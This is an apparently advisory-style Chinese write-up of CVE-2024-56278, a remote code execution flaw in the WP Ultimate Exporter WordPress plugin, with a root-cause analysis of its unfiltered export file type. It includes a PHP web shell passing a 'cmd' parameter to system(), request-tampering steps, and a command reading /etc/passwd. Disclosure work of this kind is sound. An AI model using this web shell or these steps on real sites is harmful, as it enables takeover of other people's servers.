
CVE-2024-56278 的概念验证漏洞利用程序,针对 WP Ultimate Exporter WordPress 插件中的远程代码执行漏洞,演示了通过文件上传实现 PHP 网页后门。
WordPress 插件
组件名称 WP Ultimate Exporter
受影响版本 <= 2.9.1
组件标识 wp-ultimate-exporter
组件链接 https://wordpress.org/plugins/wp-ultimate-exporter/
漏洞类别 A4: 不安全设计
漏洞类型 远程代码执行(RCE)
管理员权限
WP Ultimate Exporter 插件是 WP Ultimate CSV Importer 插件的附加组件。该插件允许用户以 CSV、XLS、XML 和 JSON 格式导出所有文章、产品、订单、退款和用户数据。导出时,文件会创建在上传路径中,插件仅将文件内容提供给用户。
在 WP Ultimate Exporter 插件 2.9.1 及以下版本中,请求数据导出时,如果请求数据中的文件扩展名被设置为 PHP,则会在上传路径中创建 PHP 文件。因此,如果创建的文件内容包含 PHP 语法,在访问该文件时 PHP 语法会被执行,从而产生远程代码执行(RCE)漏洞。
⚠️ 由于“WP Ultimate Exporter”插件是“WP Ultimate CSV Importer”插件的附加组件,因此需要同时安装这两个插件。
使用代码编辑器(快捷键:⇧ ⌥ ⌘ M)创建一篇新文章,内容如下:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
导航至 WP Ultimate Exporter 插件的“导出”选项卡。可通过点击 WP Ultimate CSV Importer 插件仪表板中的“导出”选项卡访问(/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu)。
启动代理工具(例如 BurpSuite)拦截请求数据包,并在启用拦截的情况下继续以下步骤。
接下来,从“选择要导出数据的模块”中选择“文章”,然后进入下一步。

导出文件名 输入“webshell”高级设置 选择“CSV”
/wp-admin/admin-ajax.php URL 发送一个 POST 方法请求以导出数据。将请求数据中的 exp_type 值从 csv 改为 php,然后点击“转发”。
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd,即可显示安装 WordPress 的服务器上 /etc/passwd 文件的内容。这证明了 RCE 漏洞的存在。
在 WP Ultimate Exporter 插件中导出数据时,会调用 /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php 文件中的 parseData 函数。
此时,对决定导出数据格式的请求数据 exp_type 未进行任何过滤,该值被直接插入到成员变量 $this->exportType 中。

随后,调用 proceedExport 函数将数据保存到文件中。此时,在初始化指定文件存储路径的变量 $file 时,成员变量 $this->exportType 同样未经任何过滤就被使用。

随后,存储在变量 $file 中的文件路径作为参数传递给 file_put_contents 函数,此时文件以请求数据 exp_type 中指定的扩展名直接保存。

因此,当包含 Web Shell 代码的文章数据被保存为 PHP 文件,并且该文件被访问时,PHP 代码会被执行,从而产生远程代码执行(RCE)漏洞。


然后输入以下命令执行 PoC 代码。
所需模块requests
python poc.py
